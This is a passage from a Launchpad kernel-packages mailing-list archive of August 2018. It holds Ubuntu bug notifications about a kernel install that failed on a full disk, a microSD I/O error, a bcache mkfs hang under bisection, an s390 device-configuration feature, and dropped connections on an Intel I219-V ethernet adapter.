  Uname: Linux 4.4.0-131-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.18
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  amraoui052   1608 F pulseaudio
   /dev/snd/controlC1:  amraoui052   1608 F pulseaudio
  Date: Thu Aug 16 20:03:27 2018
  ErrorMessage: impossible de copier les données extraites pour « 
./boot/vmlinuz-4.4.0-133-generic » vers « 
/boot/vmlinuz-4.4.0-133-generic.dpkg-new » : échec d'écriture (Aucun espace 
disponible sur le périphérique)
  HibernationDevice: RESUME=UUID=d3976117-ce7f-4bd4-b7a3-a244cf609245
  InstallationDate: Installed on 2018-03-27 (145 days ago)
  InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  MachineType: ASUSTeK Computer INC. CM6731_CM6431_CM6331-8
  ProcFB: 0 radeondrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.4.0-131-generic 
root=/dev/mapper/ubuntu--vg-root ro quiet splash vt.handoff=7
  PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: No 
PulseAudio daemon running, or not running as session daemon.
  RelatedPackageVersions: grub-pc 2.02~beta2-36ubuntu3.18
  RfKill:
   0: phy0: Wireless LAN
Soft blocked: no
Hard blocked: no
  SourcePackage: linux
  Title: package linux-image-4.4.0-133-generic (not installed) failed to 
install/upgrade: impossible de copier les données extraites pour « 
./boot/vmlinuz-4.4.0-133-generic » vers « 
/boot/vmlinuz-4.4.0-133-generic.dpkg-new » : échec d'écriture (Aucun espace 
disponible sur le périphérique)
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 09/05/2012
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: 0501
  dmi.board.asset.tag: To be filled by O.E.M.
  dmi.board.name: CM6731_CM6431_CM6331
  dmi.board.vendor: ASUSTeK COMPUTER INC.
  dmi.board.version: Rev X.0x
  dmi.chassis.asset.tag: Asset-1234567890
  dmi.chassis.type: 3
  dmi.chassis.vendor: Chassis Manufacture
  dmi.chassis.version: Chassis Version
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvr0501:bd09/05/2012:svnASUSTeKComputerINC.:pnCM6731_CM6431_CM6331-8:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnCM6731_CM6431_CM6331:rvrRevX.0x:cvnChassisManufacture:ct3:cvrChassisVersion:
  dmi.product.name: CM6731_CM6431_CM6331-8
  dmi.product.version: System Version
  dmi.sys.vendor: ASUSTeK Computer INC.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1787932/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787983] Re: linux-lts-trusty: 3.13.0-157.207~precise1 -proposed tracker

2018-08-21 Thread Brad Figg
** Changed in: kernel-sru-workflow/promote-to-proposed
   Status: New => Confirmed

** Tags added: block-proposed-precise

** Tags added: block-proposed

** Description changed:

  This bug is for tracking the  upload package. This
  bug will contain status and testing results related to that upload.
  
  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
+ boot-testing-requested: true
  kernel-stable-master-bug: 1787982
  phase: Uploaded

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-lts-trusty in Ubuntu.
https://bugs.launchpad.net/bugs/1787983

Title:
  linux-lts-trusty: 3.13.0-157.207~precise1 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  Invalid
Status in Kernel SRU Workflow certification-testing series:
  Invalid
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-signed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Confirmed
Status in Kernel SRU Workflow promote-to-security series:
  New
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  New
Status in Kernel SRU Workflow security-signoff series:
  New
Status in Kernel SRU Workflow upload-to-ppa series:
  New
Status in Kernel SRU Workflow verification-testing series:
  New
Status in linux-lts-trusty package in Ubuntu:
  Invalid

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
  boot-testing-requested: true
  kernel-stable-master-bug: 1787982
  phase: Uploaded

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1787983/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1788252] Status changed to Confirmed

2018-08-21 Thread Ubuntu Kernel Bot
This change was made by a bot.

** Changed in: linux (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788252

Title:
  print_req_error: I/O error, dev sdc, sector 0

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Hello,

  "Does not mount microsd"

  dmesg:
  [  222.772536] usb 3-3: new high-speed USB device number 5 using xhci_hcd
  [  222.924989] usb 3-3: New USB device found, idVendor=05e3, idProduct=0727, 
bcdDevice= 2.07
  [  222.924999] usb 3-3: New USB device strings: Mfr=3, Product=4, 
SerialNumber=2
  [  222.925004] usb 3-3: Product: USB Storage
  [  222.925009] usb 3-3: Manufacturer: Generic
  [  222.925013] usb 3-3: SerialNumber: 0207
  [  222.984254] usb-storage 3-3:1.0: USB Mass Storage device detected
  [  222.985038] scsi host6: usb-storage 3-3:1.0
  [  222.985256] usbcore: registered new interface driver usb-storage
  [  222.990852] usbcore: registered new interface driver uas
  [  224.006008] scsi 6:0:0:0: Direct-Access Generic  STORAGE DEVICE   0207 
PQ: 0 ANSI: 0
  [  224.007084] sd 6:0:0:0: Attached scsi generic sg2 type 0
  [  224.182666] sd 6:0:0:0: [sdc] 31116288 512-byte logical blocks: (15.9 
GB/14.8 GiB)
  [  224.183511] sd 6:0:0:0: [sdc] Write Protect is off
  [  224.183516] sd 6:0:0:0: [sdc] Mode Sense: 0b 00 00 08
  [  224.184368] sd 6:0:0:0: [sdc] No Caching mode page found
  [  224.184430] sd 6:0:0:0: [sdc] Assuming drive cache: write through
  [  225.997211] sd 6:0:0:0: [sdc] tag#0 FAILED Result: hostbyte=DID_OK 
driverbyte=DRIVER_SENSE
  [  225.997219] sd 6:0:0:0: [sdc] tag#0 Sense Key : Medium Error [current] 
  [  225.997225] sd 6:0:0:0: [sdc] tag#0 Add. Sense: Data phase CRC error 
detected
  [  225.997231] sd 6:0:0:0: [sdc] tag#0 CDB: Read(10) 28 00 00 00 00 00 00 00 
08 00
  [  225.997235] print_req_error: I/O error, dev sdc, sector 0
  [  225.997244] Buffer I/O error on dev sdc, logical block 0, async page read
  [  226.002969] ldm_validate_partition_table(): Disk read failed.
  [  226.002987] Dev sdc: unable to read RDB block 0
  [  226.005731]  sdc: unable to read partition table
  [  226.008395] sd 6:0:0:0: [sdc] Attached SCSI removable disk

  Regards,
  --
  Cristian Aravena Romero (caravena)

  ProblemType: Bug
  DistroRelease: Ubuntu 18.10
  Package: linux-image-4.17.0-7-generic 4.17.0-7.8
  ProcVersionSignature: Ubuntu 4.17.0-7.8-generic 4.17.12
  Uname: Linux 4.17.0-7-generic x86_64
  ApportVersion: 2.20.10-0ubuntu7
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/pcmC0D0p:   caravena   1795 F...m pulseaudio
   /dev/snd/controlC0:  caravena   1795 F pulseaudio
  CurrentDesktop: ubuntu:GNOME
  Date: Tue Aug 21 14:18:11 2018
  InstallationDate: Installed on 2017-10-13 (312 days ago)
  InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Alpha amd64 (20170926)
  MachineType: SAMSUNG ELECTRONICS CO., LTD. 530U3C/530U4C
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/@/boot/vmlinuz-4.17.0-7-generic 
root=UUID=707d0f89-4b1d-4432-9d50-6058dc4c1ee9 ro rootflags=subvol=@ quiet 
splash vt.handoff=1
  RelatedPackageVersions:
   linux-restricted-modules-4.17.0-7-generic N/A
   linux-backports-modules-4.17.0-7-generic  N/A
   linux-firmware1.174
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 04/15/2013
  dmi.bios.vendor: Phoenix Technologies Ltd.
  dmi.bios.version: P14AAJ
  dmi.board.asset.tag: Base Board Asset Tag
  dmi.board.name: SAMSUNG_NP1234567890
  dmi.board.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.board.version: FAB1
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 9
  dmi.chassis.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.chassis.version: 0.1
  dmi.modalias: 
dmi:bvnPhoenixTechnologiesLtd.:bvrP14AAJ:bd04/15/2013:svnSAMSUNGELECTRONICSCO.,LTD.:pn530U3C/530U4C:pvr0.1:rvnSAMSUNGELECTRONICSCO.,LTD.:rnSAMSUNG_NP1234567890:rvrFAB1:cvnSAMSUNGELECTRONICSCO.,LTD.:ct9:cvr0.1:
  dmi.product.family: ChiefRiver System
  dmi.product.name: 530U3C/530U4C
  dmi.product.version: 0.1
  dmi.sys.vendor: SAMSUNG ELECTRONICS CO., LTD.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788252/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1788252] [NEW] print_req_error: I/O error, dev sdc, sector 0

2018-08-21 Thread Cristian Aravena Romero
Public bug reported:

Hello,

"Does not mount microsd"

dmesg:
[  222.772536] usb 3-3: new high-speed USB device number 5 using xhci_hcd
[  222.924989] usb 3-3: New USB device found, idVendor=05e3, idProduct=0727, 
bcdDevice= 2.07
[  222.924999] usb 3-3: New USB device strings: Mfr=3, Product=4, SerialNumber=2
[  222.925004] usb 3-3: Product: USB Storage
[  222.925009] usb 3-3: Manufacturer: Generic
[  222.925013] usb 3-3: SerialNumber: 0207
[  222.984254] usb-storage 3-3:1.0: USB Mass Storage device detected
[  222.985038] scsi host6: usb-storage 3-3:1.0
[  222.985256] usbcore: registered new interface driver usb-storage
[  222.990852] usbcore: registered new interface driver uas
[  224.006008] scsi 6:0:0:0: Direct-Access Generic  STORAGE DEVICE   0207 
PQ: 0 ANSI: 0
[  224.007084] sd 6:0:0:0: Attached scsi generic sg2 type 0
[  224.182666] sd 6:0:0:0: [sdc] 31116288 512-byte logical blocks: (15.9 
GB/14.8 GiB)
[  224.183511] sd 6:0:0:0: [sdc] Write Protect is off
[  224.183516] sd 6:0:0:0: [sdc] Mode Sense: 0b 00 00 08
[  224.184368] sd 6:0:0:0: [sdc] No Caching mode page found
[  224.184430] sd 6:0:0:0: [sdc] Assuming drive cache: write through
[  225.997211] sd 6:0:0:0: [sdc] tag#0 FAILED Result: hostbyte=DID_OK 
driverbyte=DRIVER_SENSE
[  225.997219] sd 6:0:0:0: [sdc] tag#0 Sense Key : Medium Error [current] 
[  225.997225] sd 6:0:0:0: [sdc] tag#0 Add. Sense: Data phase CRC error detected
[  225.997231] sd 6:0:0:0: [sdc] tag#0 CDB: Read(10) 28 00 00 00 00 00 00 00 08 
00
[  225.997235] print_req_error: I/O error, dev sdc, sector 0
[  225.997244] Buffer I/O error on dev sdc, logical block 0, async page read
[  226.002969] ldm_validate_partition_table(): Disk read failed.
[  226.002987] Dev sdc: unable to read RDB block 0
[  226.005731]  sdc: unable to read partition table
[  226.008395] sd 6:0:0:0: [sdc] Attached SCSI removable disk

Regards,
--
Cristian Aravena Romero (caravena)

ProblemType: Bug
DistroRelease: Ubuntu 18.10
Package: linux-image-4.17.0-7-generic 4.17.0-7.8
ProcVersionSignature: Ubuntu 4.17.0-7.8-generic 4.17.12
Uname: Linux 4.17.0-7-generic x86_64
ApportVersion: 2.20.10-0ubuntu7
Architecture: amd64
AudioDevicesInUse:
 USERPID ACCESS COMMAND
 /dev/snd/pcmC0D0p:   caravena   1795 F...m pulseaudio
 /dev/snd/controlC0:  caravena   1795 F pulseaudio
CurrentDesktop: ubuntu:GNOME
Date: Tue Aug 21 14:18:11 2018
InstallationDate: Installed on 2017-10-13 (312 days ago)
InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Alpha amd64 (20170926)
MachineType: SAMSUNG ELECTRONICS CO., LTD. 530U3C/530U4C
ProcFB: 0 inteldrmfb
ProcKernelCmdLine: BOOT_IMAGE=/@/boot/vmlinuz-4.17.0-7-generic 
root=UUID=707d0f89-4b1d-4432-9d50-6058dc4c1ee9 ro rootflags=subvol=@ quiet 
splash vt.handoff=1
RelatedPackageVersions:
 linux-restricted-modules-4.17.0-7-generic N/A
 linux-backports-modules-4.17.0-7-generic  N/A
 linux-firmware1.174
SourcePackage: linux
UpgradeStatus: No upgrade log present (probably fresh install)
dmi.bios.date: 04/15/2013
dmi.bios.vendor: Phoenix Technologies Ltd.
dmi.bios.version: P14AAJ
dmi.board.asset.tag: Base Board Asset Tag
dmi.board.name: SAMSUNG_NP1234567890
dmi.board.vendor: SAMSUNG ELECTRONICS CO., LTD.
dmi.board.version: FAB1
dmi.chassis.asset.tag: No Asset Tag
dmi.chassis.type: 9
dmi.chassis.vendor: SAMSUNG ELECTRONICS CO., LTD.
dmi.chassis.version: 0.1
dmi.modalias: 
dmi:bvnPhoenixTechnologiesLtd.:bvrP14AAJ:bd04/15/2013:svnSAMSUNGELECTRONICSCO.,LTD.:pn530U3C/530U4C:pvr0.1:rvnSAMSUNGELECTRONICSCO.,LTD.:rnSAMSUNG_NP1234567890:rvrFAB1:cvnSAMSUNGELECTRONICSCO.,LTD.:ct9:cvr0.1:
dmi.product.family: ChiefRiver System
dmi.product.name: 530U3C/530U4C
dmi.product.version: 0.1
dmi.sys.vendor: SAMSUNG ELECTRONICS CO., LTD.

** Affects: linux (Ubuntu)
 Importance: Undecided
 Status: Confirmed


** Tags: amd64 apport-bug cosmic wayland-session

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788252

Title:
  print_req_error: I/O error, dev sdc, sector 0

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Hello,

  "Does not mount microsd"

  dmesg:
  [  222.772536] usb 3-3: new high-speed USB device number 5 using xhci_hcd
  [  222.924989] usb 3-3: New USB device found, idVendor=05e3, idProduct=0727, 
bcdDevice= 2.07
  [  222.924999] usb 3-3: New USB device strings: Mfr=3, Product=4, 
SerialNumber=2
  [  222.925004] usb 3-3: Product: USB Storage
  [  222.925009] usb 3-3: Manufacturer: Generic
  [  222.925013] usb 3-3: SerialNumber: 0207
  [  222.984254] usb-storage 3-3:1.0: USB Mass Storage device detected
  [  222.985038] scsi host6: usb-storage 3-3:1.0
  [  222.985256] usbcore: registered new interface driver usb-storage
  [  222.990852] usbcore: registered new interface driver uas
  [  224.006008] scsi 6:0:0:0: Direct-Access Generic  STORAGE DEVICE   0207 
PQ: 0 ANSI: 0
  [  224.007084] sd 

[Kernel-packages] [Bug 1784665] Re: mkfs.ext4 over /dev/bcache0 hangs

2018-08-21 Thread Ryan Harper
FAILED: Kernel 4.15-rc1 up to f17b9e764dfcd838dab51572d620a371c05a8e60

Attached is the oops of the failure.

** Attachment added: "rc1-bisect3-ops.txt"
   
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784665/+attachment/5178807/+files/rc1-bisect3-ops.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1784665

Title:
  mkfs.ext4 over /dev/bcache0 hangs

Status in linux package in Ubuntu:
  In Progress
Status in linux source package in Bionic:
  In Progress
Status in linux source package in Cosmic:
  In Progress

Bug description:
  $ cat /proc/version_signature 
  Ubuntu 4.15.0-29.31-generic 4.15.18

  $ lsb_release -rd
  Description:  Ubuntu Cosmic Cuttlefish (development branch)
  Release:  18.10

  $ apt-cache policy linux-image-`uname -r`
  linux-image-4.15.0-29-generic:
Installed: 4.15.0-29.31
Candidate: 4.15.0-29.31
Version table:
   *** 4.15.0-29.31 500
  500 http://archive.ubuntu.com/ubuntu cosmic/main amd64 Packages
  100 /var/lib/dpkg/status

  
  3) mkfs.ext4 /dev/bcache0 returns successful creating an ext4 filesystem on 
top of a bcache device

  4) mkfs.ext4 doesn't return and kernel prints hung process info

  [   58.018099] cloud-init[920]: Running command ['mkfs.ext4', '-F', '-L', 
'root-fs', '-U', 'f01aec97-9457-11e8-b8d6-525400123401', '/dev/bcache0'] with 
allowed return codes [0] (capture=True)
  [  242.652018] INFO: task kworker/u4:0:5 blocked for more than 120 seconds.
  [  242.653767]   Tainted: P   O 4.15.0-29-generic #31-Ubuntu
  [  242.655391] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  242.657397] INFO: task kworker/0:2:410 blocked for more than 120 seconds.
  [  242.659126]   Tainted: P   O 4.15.0-29-generic #31-Ubuntu
  [  242.660980] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  242.663000] INFO: task bcache_allocato:2326 blocked for more than 120 
seconds.
  [  242.664807]   Tainted: P   O 4.15.0-29-generic #31-Ubuntu
  [  242.666516] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  242.668503] INFO: task bcache_writebac:2345 blocked for more than 120 
seconds.
  [  242.670301]   Tainted: P   O 4.15.0-29-generic #31-Ubuntu
  [  242.671936] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  242.673909] INFO: task mkfs.ext4:2803 blocked for more than 120 seconds.
  [  242.675414]   Tainted: P   O 4.15.0-29-generic #31-Ubuntu
  [  242.677038] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  363.483998] INFO: task kworker/u4:0:5 blocked for more than 120 seconds.
  [  363.488441]   Tainted: P   O 4.15.0-29-generic #31-Ubuntu
  [  363.489598] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  363.491043] INFO: task kworker/0:2:410 blocked for more than 120 seconds.
  [  363.492252]   Tainted: P   O 4.15.0-29-generic #31-Ubuntu
  [  363.494085] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  363.495659] INFO: task bcache_allocato:2326 blocked for more than 120 
seconds.
  [  363.496957]   Tainted: P   O 4.15.0-29-generic #31-Ubuntu
  [  363.498454] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  363.499866] INFO: task bcache_writebac:2345 blocked for more than 120 
seconds.
  [  363.501156]   Tainted: P   O 4.15.0-29-generic #31-Ubuntu
  [  363.502597] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  363.504048] INFO: task mkfs.ext4:2803 blocked for more than 120 seconds.
  [  363.505505]   Tainted: P   O 4.15.0-29-generic #31-Ubuntu
  [  363.506677] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.

  
  System has two virtio block devices.  bcache was created like so:

  make-bcache -C /dev/vdb
  make-bcache -B /dev/vda2

  resulting in /dev/bcache0

  ProblemType: Bug
  DistroRelease: Ubuntu 18.10
  Package: linux-image-4.15.0-29-generic 4.15.0-29.31
  ProcVersionSignature: User Name 4.15.0-29.31-generic 4.15.18
  Uname: Linux 4.15.0-29-generic x86_64
  AlsaDevices:
   total 0
   crw-rw 1 root audio 116,  1 Jul 31 15:52 seq
   crw-rw 1 root audio 116, 33 Jul 31 15:52 timer
  AplayDevices: Error: [Errno 2] No such file or directory: 'aplay': 'aplay'
  ApportVersion: 2.20.10-0ubuntu7
  Architecture: amd64
  ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord': 
'arecord'
  AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', 
'/dev/snd/timer'] failed with exit code 1:
  CRDA: N/A
  Date: Tue Jul 31 15:53:56 2018
  IwConfig: Error: [Errno 2] No such file or directory: 'iwconfig': 'iwconfig'
  Lsusb: Bus 001 Device 001: ID 1d6b:0001 

[Kernel-packages] [Bug 1776631] Re: [18.10 FEAT] I/O device pre-configuration

2018-08-21 Thread Dimitri John Ledkov
I think we want this in d-i, subiquity, curtin/MAAS, and backported to
bionic as well.

This is now in cosmic. Could you please install cosmic, upgrade to
latest s390-tools, enter things via HMC and reboot the instance to see
if it picks up and auto-activates devices specified via the HMC?

** Also affects: debian-installer (Ubuntu)
   Importance: Undecided
   Status: New

** Also affects: subiquity
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1776631

Title:
  [18.10 FEAT] I/O device pre-configuration

Status in subiquity:
  New
Status in Ubuntu on IBM z Systems:
  In Progress
Status in debian-installer package in Ubuntu:
  New
Status in linux package in Ubuntu:
  Fix Released
Status in s390-tools package in Ubuntu:
  Fix Released
Status in s390-tools source package in Bionic:
  New

Bug description:
  I/O device auto-configuration is a mechanism by which users can specify IDs 
and settings of I/O devices that should be automatically enabled in Linux. 
Users enter this information for an LPAR via an HMC running in DPM mode. During 
boot, Linux obtains this information via an SCLP call (details to be defined) 
and triggers the resulting configuration actions (e.g. using the chzdev 
command).
  Available with kernel 4.17

To manage notifications about this bug go to:
https://bugs.launchpad.net/subiquity/+bug/1776631/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1785171] Re: Intel I219-V Ethernet Interface on Ubuntu Linux Using e1000e Driver keeps Dropping Internet Connection

2018-08-21 Thread og11
The loss of the Internet connectivity on Ubuntu Server 18.04- continues
to be an issue with the Intel i219-v onboard Ethernet adapter. I just
lost the Internet connectivity on the Ubuntu 18.04 server and I was not
even doing anything on the server.

I just logged in and the Internet connectivity had dropped. There's no
way this should be happening if the OS/driver software was driving the
Ethernet adaptor properly.

I've run several experiments over the last few weeks on the performance
and stability with both the NetworkManager and networkd services.  I was
thinking that maybe the networkd implementation by Ubuntu Server was
stable, but that's was a no go as well. Same behaviour as with
NetworkManager.

I'm going to have to remove Ubuntu Server 18.04 (probably go back to
CentOS Server 7.4) if Ubuntu Server 18.04 can't manage the required
networking. Simply should not be an issue given the long-term proven
technologies involved with Ethernet and IP networking.

Thanks.

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1785171

Title:
  Intel I219-V Ethernet Interface on Ubuntu Linux Using e1000e Driver
  keeps Dropping Internet Connection

Status in linux package in Ubuntu:
  Incomplete
Status in linux source package in Bionic:
  Incomplete

Bug description:
  I've turned up many, many new server and workstation systems over the
  years on both Linux and Windows. Never seen anything like this
  behaviour I'm witnessing on Ubuntu Server 18.04 before where I simply
  lose Internet connectivity while using a browser.  Ethernet interfaces
  usually either work or they don't work.

  I've configured the Intel I219-V Ethernet interface (wired Ethernet
  connection, there is no wifi on this system) using the e1000e driver
  for Ubuntu.  The Ethernet connection is configured to use
  NetworkManager via Netplan on Ubuntu 18.04 LTS Server version.  ASRock
  Z370m Pro4 motherboard.

  The Ethernet interface will drop the Internet connectivity when I'm
  using either the Firefox or Chrome browser.  It usually happens when
  I'm using the search features of the browser. I can't figure out what
  would cause this type of behaviour.  When the Internet connection
  drops, the only way to get back Internet connectivity is to disconnect
  the wired connection using the Ubuntu features and then re-connect
  (this restarts the NetworkManager service I notice).

  In the NetworkManager logs I do notice an "auth" error about a file or
  directory not found. I've never seen that before.

  Note:  The auth error does not coincide with the loss of Internet
  connectivity, but it does proceed it.  Often there can be many hours
  between the auth error and the actual loss of Internet connectivity.

  After I reconnect the connection (via re-starting the NetworkManager
  service) all will be fine for up to a day or so, but then I stress
  test it with a bunch of searches using the browser and usually I can
  get the Internet connectivity to drop again.  Repeat the disconnect
  and reconnect process again (aka re-start NetworkManager) and the
  Internet connectivity will be fine again.  The longest I've seen it go
  without an "Internet connectivity drop" issue is about 36 hours.

  I notice that the e1000e driver does not list the I219-V as a
  supported Ethernet interface in the Intel documentation for the Linux
  version of the driver.  I'm not sure why that is.  The I219-V is
  supposed to used another driver, but it's not clear there's a Linux
  version for of the driver for the I219-V.

  I'm really disappointed that I've run into this issue with Ubuntu
  Server LTS 18.04 on this motherboard.  I had CentOS Server 7.4 (my
  standard server OS, a great Linux distro) on this same motherboard for
  a week with no issues, so I know the motherboard and the I219-V
  Ethernet interface are 100% good hardware wise and can work properly.
  CentOS 7.4 uses NetworkManager as the default for managing the
  Ethernet interface.

  The only reason I'm using Ubuntu Server 18.04 on this motherboard is
  because of a specific package that Ubuntu has a newer packaged version
  than CentOS. CentOS is extremely stable when it comes to basic server
  functionality.

  Hopefully, this bug with the I219-V Ethernet interface using the
  e1000e drive for Linux can be verified and a fix rolled out.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1785171/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1748565] Re: Kernel regularly logs: Bluetooth: hci0: last event is not cmd complete (0x0f)

2018-08-21 Thread Anupam Datta
Kernel regularly logs: Bluetooth: hci0: last event is not cmd complete
(0x0f) and I am unable to play anything via bluetooth. Speaker gets
connected but can not play audio.

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1748565

Title:
  Kernel regularly logs: Bluetooth: hci0: last event is not cmd complete
  (0x0f)

Status in Linux:
  Unknown
Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Hello,

  dmesg:
  [ 3363.056494] Bluetooth: hci0: last event is not cmd complete (0x0f)

  Regards,
  --
  Cristian

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-9-generic 4.15.0-9.10
  ProcVersionSignature: Ubuntu 4.15.0-9.10-generic 4.15.2
  Uname: Linux 4.15.0-9-generic x86_64
  ApportVersion: 2.20.8-0ubuntu8
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  caravena   1811 F pulseaudio
  CurrentDesktop: ubuntu-communitheme:ubuntu:GNOME
  Date: Fri Feb  9 20:35:29 2018
  InstallationDate: Installed on 2017-10-13 (119 days ago)
  InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Alpha amd64 (20170926)
  MachineType: SAMSUNG ELECTRONICS CO., LTD. 530U3C/530U4C
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/@/boot/vmlinuz-4.15.0-9-generic 
root=UUID=707d0f89-4b1d-4432-9d50-6058dc4c1ee9 ro rootflags=subvol=@ quiet 
splash vt.handoff=1
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-9-generic N/A
   linux-backports-modules-4.15.0-9-generic  N/A
   linux-firmware1.170
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 04/15/2013
  dmi.bios.vendor: Phoenix Technologies Ltd.
  dmi.bios.version: P14AAJ
  dmi.board.asset.tag: Base Board Asset Tag
  dmi.board.name: SAMSUNG_NP1234567890
  dmi.board.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.board.version: FAB1
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 9
  dmi.chassis.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.chassis.version: 0.1
  dmi.modalias: 
dmi:bvnPhoenixTechnologiesLtd.:bvrP14AAJ:bd04/15/2013:svnSAMSUNGELECTRONICSCO.,LTD.:pn530U3C/530U4C:pvr0.1:rvnSAMSUNGELECTRONICSCO.,LTD.:rnSAMSUNG_NP1234567890:rvrFAB1:cvnSAMSUNGELECTRONICSCO.,LTD.:ct9:cvr0.1:
  dmi.product.family: ChiefRiver System
  dmi.product.name: 530U3C/530U4C
  dmi.product.version: 0.1
  dmi.sys.vendor: SAMSUNG ELECTRONICS CO., LTD.

To manage notifications about this bug go to:
https://bugs.launchpad.net/linux/+bug/1748565/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1784665] Re: mkfs.ext4 over /dev/bcache0 hangs

2018-08-21 Thread Joseph Salisbury
I built the next test kernel, up to the following commit:
f17b9e764dfcd838dab51572d620a371c05a8e60

The test kernel can be downloaded from:
http://kernel.ubuntu.com/~jsalisbury/lp1784665

Can you test that kernel and report back if it has the bug or not? I
will build the next test kernel based on your test results.

Thanks in advance

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1784665

Title:
  mkfs.ext4 over /dev/bcache0 hangs

